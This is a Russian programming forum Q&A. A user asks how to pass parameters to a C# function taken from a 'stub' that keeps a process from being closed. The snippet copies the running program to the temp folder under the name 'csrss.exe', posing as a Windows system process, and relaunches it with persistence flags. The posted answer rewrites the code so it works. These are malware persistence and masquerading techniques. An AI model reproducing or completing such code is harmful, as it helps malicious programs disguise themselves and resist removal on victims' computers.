.NET 2.x Передать нужный параметр - C#
Формулировка задачи:
Нашел в чужом сорсе функцию, которая защищает процес от закрытия пользователем. Но так как сорсы так называемомго стаба, то не могу понять какой параметр передать нужно. Может кто-то догадается )
Выбор происходит чекбоксом.
int handle = Process.GetCurrentProcess().Id; if(GetSetting<bool>("ProcessPersistence") || GetSetting<bool>("StartupPersistence")) { try { File.Copy(Application.ExecutablePath, Path.GetTempPath() + "csrss.exe", true); Process.Start(Path.GetTempPath() + "csrss.exe", (GetSetting<bool>("ProcessPersistence") ? "-p " + """ + Application.ExecutablePath + "" " + handle.ToString() + " ": "") + (GetSetting<bool>("StartupPersistence") ? "-s" : "")); } catch { } }
Актуально. Нужно понять какие параметры передать вместо
GetSetting<bool>
Решение задачи: «.NET 2.x Передать нужный параметр»
textual
Листинг программы
Process.Start(Path.GetTempPath() + "csrss.exe", (ProcessPersistence ? "-p " + """ + Application.ExecutablePath + "" " + handle.ToString() + " ": "") + (StartupPersistence ? "-s" : ""));
ИИ поможет Вам:
- решить любую задачу по программированию
- объяснить код
- расставить комментарии в коде
- и т.д